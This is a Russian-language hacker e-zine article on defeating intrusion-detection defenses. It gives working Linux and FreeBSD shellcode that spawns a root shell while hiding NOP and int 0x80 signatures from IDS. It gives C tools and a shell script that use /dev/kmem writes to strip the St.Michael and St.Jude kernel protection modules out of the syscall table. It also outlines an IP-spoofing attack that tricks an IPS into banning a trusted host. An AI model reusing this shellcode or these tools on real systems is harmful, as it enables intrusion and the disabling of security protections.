..-----------------------------..
.. IDS warez bugz ..
.._____________________________..
C0nt3nt
0x01 bypassing shellcodez detection
0x02 lkm protection t00lz 0wnage (st.michael & st.jude)
0x03 have fun with port-scanning detectorz / snifferz
--[1]-- bypassing shellcodez detection
Уже, кажется, даже парни с RST поняли что некоторые ids могут запалить
наш шеллкод. Натужные попытки что-нибудь сделать у ICWiener'а и всей
code_pimps не увенчались особым успехом - появились какие-то чрезмерно
хитроумные способы )), хотя всё гораздо проще чем может показаться. В
общем сейчас я расскажу как написать шеллкод без 0x90 и без \xcd\x80 (
точнее, конечно, его просто не будет видно).
Ну, от нопов избавиться можно легче лёгкого -юзай всякие арифметические
операции над регистрами и не парься. Пример с %eax:
incl %eax // opcode 0x40
decl %eax // opcode 0x48
...
xorl %eax,%eax
bla-bla-bla
Для особо одарённых - мы просто прибавляем, а потом вычитам единицу из
%eax. По идее, запаса 32-х битного регистра хватит надолго, так что
можно ничего и не вычитать. Подобных операций мы можем сгенерить кучу,
так что ни под какие сигнатуры подогнать это не получится. Вот список
опкодов самых простых операций над регистрами ebx,ecx,edx:
incl %ebx // opcode 0x43
decl %ebx // opcode 0x4b
incl %ecx // opcode 0x41
decl %ecx // opcode 0x49
incl %edx // opcode 0x42
decl %edx // opcode 0x4a
Ещё одно слабое место - вызов прерываения 80h. Но и для такой "траблы"
есть решение: генерим код 0x80cd (такой byte order, благо x86 это у нас
little endian) и кладём его в стек. Потом создаём указатель на него, и
обращаемся к нему через call. Итак, вот код под linux/x86:
## кладём такой код в стек:
#
# clc
# int $0x80
# ret
##
pushw $0xc380
pushw $0xcdf8
movl %esp, %eax
pushl %eax
movl %esp, %esi # в %esi кладём указатель на него
## chroot() ##
xorl %eax,%eax
push %eax
pushw $0x2f2f
movl %esp,%ebx
mov $61, %al
call *(%esi) # теперь просто обращаемся к нему
## setuid() ##
xorl %eax,%eax
xorl %ebx,%ebx
mov $23, %al
call *(%esi)
## execve() ##
xorl %eax,%eax
xorl %edx,%edx
push %eax
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp, %ebx
pushl %edx
pushl %ebx
movl %esp,%ecx
movb $11,%al
call *(%esi)
Ну и собственно переведём его в ascii:
/* Linux/x86 shellcode */
/* init int_0x80 code in stack and pointer */
"\x66\x68\x80\xc3" // pushw $0xc380
"\x66\x68\x90\xcd" // pushw $0xcd90
"\x89\xe0" // movl %esp,%eax
"\x50" // push %eax
"\x89\xe6" // movl %esp,%esi
/* chroot() */
"\x31\xc0" // xorl %eax,%eax
"\x50" // push %eax
"\x66\x68\x2f\x2f" // pushw $0x2f2f
"\x89\xe3" // movl %esp,%ebx
"\xb0\x3d" // mov $0x3d,%al
"\xff\x16" // call *(%esi)
/* setuid() */
"\x31\xc0" // xorl %eax,%eax
"\x31\xdb" // xorl %ebx,%ebx
"\xb0\x17" // mov $0x17,%al
"\xff\x16" // call *(%esi)
/* execve() */
"\x31\xc0" // xorl %eax,%eax
"\x31\xd2" // xorl %edx,%edx
"\x50" // push %eax
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // mov $0xb,%al
"\xff\x16" // call *(%esi)
/* total 59 bytes */
С BSD-системами всё аналогично:
## init int_80h code in stack
pushw $0xc380
pushw $0xcdf8
movl %esp,%eax
pushl %eax
movl %esp,%edx # сохраняем наш pointer в %edx
# (т.к. все аргументы идут через стек мы можем занять
# регистры %ebx, %ecx, %edx)
## setuid() ##
xorl %eax,%eax
pushl %eax
pushl $23
call *(%edx) # и обращяемся к указателю (к сожалению, мы не можем юзать
# %esi как хотим в freebsd даже в режиме пользователя)
## execve() ##
xor %eax,%eax
pushl %eax
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp,%ebx
pushl %eax
pushl %ebx
movl %esp,%ecx
pushl %eax
pushl %ecx
pushl %ebx
pushl $59
call *(%edx)
И, наконец, переведём его в ascii:
/* FreeBSD/x86 shellcode */
/* init int_0x80 code in stack and pointer */
"\x66\x68\x80\xc3" // pushw $0xc380
"\x66\x68\xf8\xcd" // pushw $0xcdf8
"\x89\xe0" // movl %esp,%eax
"\x50" // pushl %eax
"\x89\xe2" // movl %esp,%edx
/* setuid() */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x6a\x17" // pushl $0x17
"\xff\x12" // call *(%edx)
/* execve() */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x50" // pushl %eax
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\x50" // pushl %eax
"\x51" // pushl %ecx
"\x53" // pushl %ebx
"\x6a\x3b" // pushl $0x3b
"\xff\x12" // call *(%edx)
/* total 46 bytes */
--[2]-- lkm protection t00lz 0wnage (st.michael & st.jude)
Теперь поговорим о таком тупом варезе, как защищающие lkm-ы. На данный
момент существует две наиболее известных таких проги - St.Michael,
которая должна защищать ядро от изменений в sys_call_table, и St.Jude,
которая вроде как должна следить за действиями юзерофф. Сразу стоит
отметить, что у Timothy Lalwess'a это получилось неважно )
Точнее сказать, что проги может и пашут нормально, но мы сразу же их
выкинем из ядра. Сперва о том, как они туда подсаживаются:
/* из StMichael_lkm.c */
(void *) orig_init_module = sys_call_table[__NR_init_module];
(void *) orig_delete_module = sys_call_table[__NR_delete_module];
(void *) orig_exit = sys_call_table[__NR_exit];
(void *) orig_create_module = sys_call_table[__NR_create_module];
#if defined(FSCHECK) || defined(ROKMEM) || defined(REALLY_IMMUTABLE)
(void *) sm_open = sys_call_table[__NR_open];
(void *) sm_close = sys_call_table[__NR_close];
#endif
(void *) syscall_reboot = sys_call_table[__NR_reboot];
(void *) syscall_sync = sys_call_table[__NR_sync];
sys_call_table[__NR_init_module] = (void *) sm_init_module;
sys_call_table[__NR_delete_module] = (void *) sm_delete_module;
sys_call_table[__NR_create_module] = (void *) sm_create_module;
sys_call_table[__NR_exit] = (void *) sm_exit;
Тоесть идёт перехват системных вызовов, с помощью которых якобы хакер
должен подсаживать свой lkm. А вот с /dev/kmem вышла промашка: мы как
минимум можем определить наличие этой твари в системе, т.к. если она и
блокирует нам запись в /dev/kmem, то хоть читать-то его мы можем, а
этого достаточно. St.Jude, кстати, основана на St.Michael в плане
перехвата init_module/etc так что данный метод действует и на неё:
/*
fuck_stz.c
St.Michael or St.Jude detector
(c) russian underground community
*/
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <asm/unistd.h>
unsigned long ma_atol(char *p)
{
int i;
unsigned long tmp,fs,res=0;
char v[8];
memcpy(&v,p,8);
fs = 65536 * 256;
for(i=0; i<8; i+=2){
if (v[i] == 0x30) tmp = 0;
if (v[i] == 0x31) tmp = 16;
if (v[i] == 0x32) tmp = 32;
if (v[i] == 0x33) tmp = 48;
if (v[i] == 0x34) tmp = 64;
if (v[i] == 0x35) tmp = 80;
if (v[i] == 0x36) tmp = 96;
if (v[i] == 0x37) tmp = 112;
if (v[i] == 0x38) tmp = 128;
if (v[i] == 0x39) tmp = 144;
if (v[i] == 0x61) tmp = 160;
if (v[i] == 0x62) tmp = 176;
if (v[i] == 0x63) tmp = 192;
if (v[i] == 0x64) tmp = 208;
if (v[i] == 0x65) tmp = 224;
if (v[i] == 0x66) tmp = 240;
if (v[i+1] == 0x31) tmp += 1;
if (v[i+1] == 0x32) tmp += 2;
if (v[i+1] == 0x33) tmp += 3;
if (v[i+1] == 0x34) tmp += 4;
if (v[i+1] == 0x35) tmp += 5;
if (v[i+1] == 0x36) tmp += 6;
if (v[i+1] == 0x37) tmp += 7;
if (v[i+1] == 0x38) tmp += 8;
if (v[i+1] == 0x39) tmp += 9;
if (v[i+1] == 0x61) tmp += 10;
if (v[i+1] == 0x62) tmp += 11;
if (v[i+1] == 0x63) tmp += 12;
if (v[i+1] == 0x64) tmp += 13;
if (v[i+1] == 0x65) tmp += 14;
if (v[i+1] == 0x66) tmp += 15;
res += tmp * fs;
fs /= 256;
}
return res;
}
int main( int argc, char *argv[])
{
int fd,kmem, syscall;
long addr1, addr2, sct;
char rec[9]; // conf file record line
if (argc < 2){
printf("Usage: %s sys_call_num \n",argv[0]);
exit(1);
}
syscall = atoi(argv[1]);
fd = open("/tmp/conf",O_RDONLY);
if (fd < 0){
printf("[-] cant open /tmp/conf!\n");
exit(1)'
}
chdir("/dev");
kmem = open("./kmem", O_RDONLY);
if (kmem < 0){
printf("[-] cant read /dev/kmem! Maybe St.Michael/Jude blocks j00?\n");
close(fd);
exit(1);
}
read(fd, &rec, 9);
sct = ma_atol((char *)&rec);
printf("get addr of sys_call_table %x\n",sct);
read(fd, &rec, 9);
addr1 = ma_atol((char *)&rec);
lseek(kmem, sct + syscall*4, SEEK_SET);
read(kmem, &addr2, 4);
if (addr1 != addr2) printf("St.Michael or St.Jude in system!\n");
else printf("Everythin' is ok!\n");
close(kmem);
close(fd);
exit(0);
}
Вот как юзать этот детектор:
satanix~># pwd
/tmp
satanix~># cat /boot/System.map | grep -a " sys_call"
c0227240 D sys_call_table
satanix~># echo c0227240 > ./conf
satanix~># cat /boot/System.map | grep -a "T init_modules"
c0244420 T init_modules
satanix~># echo c0244420 >> ./conf
satanix~># gcc -o fuckem fuck_stz.c
satanix~># cat /usr/include/asm/unistd.h | grep init_mod
#define __NR_init_module 128
satanix~># ./fuckem 128
St.Michael or St.Jude in system!
satanix~>#
Всё просто и легко )) Собственно, алгоритм проги, выкидывающей из ядра
всю эту st-нечисть простой: чекаем адреса функций по sys_call_table, и
если что-то не совпадает, вписываем туда адрес этой функции из
System.map. А вот и пример:
/*
!!! St.Michael / St.Jude remover !!!
St.Michael wraps this syscalls:
init_module
delete_module
create_module
exit
St.Jude aslo wraps this:
init_module
delete_module
create_module
exit
fork
vfork
clone
setuid
setreuid
execve
(c) russian underground community
*/
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <asm/unistd.h>
#include "ma_atol.h"
int main( int argc, char *argv[])
{
int i, fd, kmem, syscall;
unsigned int dumb;
unsigned long orig, cur, sct;
char rec[9]; // conf file record line
if (argc < 2){
printf("Usage: %s type \n types: \n 1\t\t St.Michael\n 2\t\t St.Jude\n",
argv[0]);
exit(1);
}
dumb = atoi(argv[1]);
if (dumb != 1 && dumb != 2){
printf("bad mode\n");
exit(1);
}
fd = open("/tmp/conf",O_RDONLY);
if (fd < 0){
printf("cant open /tmp/conf!\n");
exit(1);
}
chdir("/dev");
kmem = open("./kmem", O_RDWR);
if (kmem < 0){
printf("[-] can't access to /dev/kmem! Some asshole blocks you\n");
close(fd);
exit(1);
}
read(fd, &rec, 9);
sct = ma_atol((char *)&rec);
printf("get addr of sys_call_table %x\n",sct);
/* check init_module() */
read(fd, &rec, 9);
orig = ma_atol((char *)&rec);
lseek(kmem, sct + __NR_init_module*4, SEEK_SET);
read(kmem, &cur, 4);
if (orig != cur){
lseek(kmem, sct + __NR_init_module*4, SEEK_SET);
write(kmem, &orig, 4);
printf("[+] init_module() addr fixed succesfully (%x from %x)!\n",orig,cur);
}
/* check delete_module() */
read(fd, &rec, 9);
orig = ma_atol((char *)&rec);
lseek(kmem, sct + __NR_delete_module*4, SEEK_SET);
read(kmem, &cur, 4);
if (orig != cur){
lseek(kmem, sct + __NR_delete_module*4, SEEK_SET);
write(kmem, &orig, 4);
printf("[+] delete_module() addr fixed succesfully (%x from %x)!\n",orig,cur);
}
/* check create_module() */
read(fd, &rec, 9);
orig = ma_atol((char *)&rec);
lseek(kmem, sct + __NR_create_module*4, SEEK_SET);
read(kmem, &cur, 4);
if (orig != cur){
lseek(kmem, sct + __NR_create_module*4, SEEK_SET);
write(kmem, &orig, 4);
printf("[+] create_module() addr fixed succesfully (%x from %x)!\n",orig,cur);
}
/* check sys_exit() */
read(fd, &rec, 9);
orig = ma_atol((char *)&rec);
lseek(kmem, sct + __NR_exit*4, SEEK_SET);
read(kmem, &cur, 4);
if (orig != cur){
lseek(kmem, sct + __NR_exit*4, SEEK_SET);
write(kmem, &orig, 4);
printf("[+] sys_exit() addr fixed succesfully (%x from %x)!\n",orig,cur);
}
if (dumb == 1){
printf("done!\n");
close(kmem);
close(fd);
exit(0);
}
/* now let'z kick St.Jude's ass!! */
/* check fork */
read(fd, &rec, 9);
orig = ma_atol((char *)&rec);
lseek(kmem, sct + __NR_fork*4, SEEK_SET);
read(kmem, &cur, 4);
if (orig != cur){
lseek(kmem, sct + __NR_fork*4, SEEK_SET);
write(kmem, &orig, 4);
printf("[+] fork() addr fixed succesfully (%x from %x)!\n",orig,cur);
}
/* check vfork */
read(fd, &rec, 9);
orig = ma_atol((char *)&rec);
lseek(kmem, sct + __NR_vfork*4, SEEK_SET);
read(kmem, &cur, 4);
if (orig != cur){
lseek(kmem, sct + __NR_vfork*4, SEEK_SET);
write(kmem, &orig, 4);
printf("[+] vfork() addr fixed succesfully (%x from %x)!\n",orig,cur);
}
/* check clone */
read(fd, &rec, 9);
orig = ma_atol((char *)&rec);
lseek(kmem, sct + __NR_clone*4, SEEK_SET);
read(kmem, &cur, 4);
if (orig != cur){
lseek(kmem, sct + __NR_clone*4, SEEK_SET);
write(kmem, &orig, 4);
printf("[+] clone() addr fixed succesfully (%x from %x)!\n",orig,cur);
}
/* check setuid */
read(fd, &rec, 9);
orig = ma_atol((char *)&rec);
lseek(kmem, sct + __NR_setuid*4, SEEK_SET);
read(kmem, &cur, 4);
if (orig != cur){
lseek(kmem, sct + __NR_setuid*4, SEEK_SET);
write(kmem, &orig, 4);
printf("[+] setuid() addr fixed succesfully (%x from %x)!\n",orig,cur);
}
/* check setreuid */
read(fd, &rec, 9);
orig = ma_atol((char *)&rec);
lseek(kmem, sct + __NR_setreuid*4, SEEK_SET);
read(kmem, &cur, 4);
if (orig != cur){
lseek(kmem, sct + __NR_setreuid*4, SEEK_SET);
write(kmem, &orig, 4);
printf("[+] setreuid() addr fixed succesfully (%x from %x)!\n",orig,cur);
}
/* check execve */
read(fd, &rec, 9);
orig = ma_atol((char *)&rec);
lseek(kmem, sct + __NR_execve*4, SEEK_SET);
read(kmem, &cur, 4);
if (orig != cur){
lseek(kmem, sct + __NR_execve*4, SEEK_SET);
write(kmem, &orig, 4);
printf("[+] execve() addr fixed succesfully (%x from %x)!\n",orig,cur);
}
printf("well done!\n");
close(kmem);
close(fd);
exit(0);
}
И небольшой конфигуратор к нему:
#!/bin/sh
cd /boot/
cat System.map | grep -a "D sys_call" >/tmp/conf.0
cat System.map | grep sys_init >>/tmp/conf.0
cat System.map | grep sys_delete >>/tmp/conf.0
cat System.map | grep sys_create >>/tmp/conf.0
cat System.map | grep -a "T sys_exit" >>/tmp/conf.0
cat System.map | grep sys_fork >>/tmp/conf.0
cat System.map | grep sys_vfork >>/tmp/conf.0
cat System.map | grep sys_clone >>/tmp/conf.0
cat System.map | grep sys_setuid | head -1 >>/tmp/conf.0
# mb u need setuid16 !! Just change 'head -1' to 'tail -1'
cat System.map | grep sys_setreuid | head -1 >>/tmp/conf.0
# mb u need setreuid16 here!! change 'head -1' to 'tail -1'
cat System.map | grep sys_execve >>/tmp/conf.0
cd /tmp/
cat conf.0 | awk -F " " '{print $1}' >>conf
echo "config generation done!"
# _eof_
К сожалению, на моей системе St.Jude лишь валит ядро, так что я не могу
искать способы обхода ограничений для пользователей. Одного анализа
кода мало, чтобы что-то констатировать. Кроме того, я слишом ленивый
чтобы обновить ядро ;P Может в следующий раз?
--[3]-- have fun with port-scanning detectorz / snifferz
Это на самом деле очень и очень приятная категория софта. В большинстве
своём они слушают входящий трафик, логируют пакеты и заодно выполняют
ещё какие-нибудь действия (то что нам нужно - бан )). Что мы можем с
этого получить?
1. Если в системе стоят какие-нить IPS (Intrusion Prevention System),
которые следят за логами, то мы можем, конечно в зависимости от того,
что за софт снифает сеть, писать в эти логи, засовывая в пакеты ascii-
символы. Таким образом мы можем подогнать запись под определённую
сигнатуру и заставить IPS выполнить какое-то действие.
2. Самое инетерсное тут - каждая такая IPS при обнаружении сканирования
пытается заблокировать атакующего. И что нам это даёт? Отличные условия
для проведения спуфинга )) Имперсонируемый хост не будет отвечать на
запросы атакуемого сервера, т.к. считает его угрозой (мы тем временем
имитируем сканирования с атакуемого хоста), ну а нам остаётся лишь
перебрать нужные варианты =)
phase 1.
6.6.6.13
host X (attacker)
.//'
.//'
.//' имитируем сканирование c хоста B
.//'
1/
host A host B
(here IPS) (old rsh-server, trusted host 13.6.6.6)
13.6.6.6 13.0.0.7
phase 2.
6.6.6.13
host X (attacker)
'\\.
'\\. start spoofing
'\\.
'\\. ( src_ip: 13.6.6.6 )
\1
host A reply packets host B
(here IPS) <============== (old rsh-server)
13.6.6.6 13.0.0.7
хост А игнорирует
пакеты с хоста В и тем самым
даёт нам провести успешную атаку.
.e.o.f.